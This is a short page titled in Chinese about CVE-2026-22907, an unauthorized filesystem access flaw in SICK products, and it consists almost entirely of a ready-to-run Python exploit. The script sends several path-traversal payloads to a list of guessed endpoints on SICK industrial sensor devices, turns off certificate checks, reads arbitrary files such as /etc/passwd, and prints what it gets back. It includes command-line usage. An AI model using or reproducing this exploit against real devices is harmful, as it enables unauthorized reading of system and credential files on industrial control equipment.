CVE-2026-22907 SICK产品主机文件系统未授权访问漏洞

import requests import sys # CVE-2026-22907 PoC - Path Traversal in SICK Product # Target: SICK industrial sensor devices # This PoC demonstrates unauthorized filesystem access def exploit_cve_2026_22907(target_url, filename): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of the vulnerable SICK device filename: File to read (e.g., /etc/passwd) """ headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-22907-PoC)', 'Accept': '*/*' } # Path traversal payload to read arbitrary files # Common traversal patterns used in ICS/SCADA devices traversal_patterns = [ f'../../../../../../../../..{filename}', f'..\..\..\..\..\..\..\..{filename}', f'....//....//....//....//....//....//....//....{filename}' ] # Try different path traversal patterns for pattern in traversal_patterns: # Common vulnerable endpoints in SICK devices endpoints = [ '/file/read', '/api/file', '/log/download', '/diag/file', '/config/backup' ] for endpoint in endpoints: try: # Attempt to read file through vulnerable endpoint params = {'path': pattern} response = requests.get( f'{target_url}{endpoint}', params=params, headers=headers, timeout=10, verify=False ) if response.status_code == 200 and len(response.content) > 0: print(f'[+] SUCCESS: Read {filename}') print(f'[+] Endpoint: {endpoint}') print(f'[+] Pattern: {pattern}') print('-' * 50) print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f'[-] Error with {endpoint}: {e}') continue print('[-] Exploitation failed - target may not be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> ') print(f'Example: python {sys.argv[0]} https://192.168.1.100 /etc/passwd') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f'[*] CVE-2026-22907 PoC - SICK Path Traversal') print(f'[*] Target: {target}') print(f'[*] File: {file_to_read}') print() exploit_cve_2026_22907(target, file_to_read)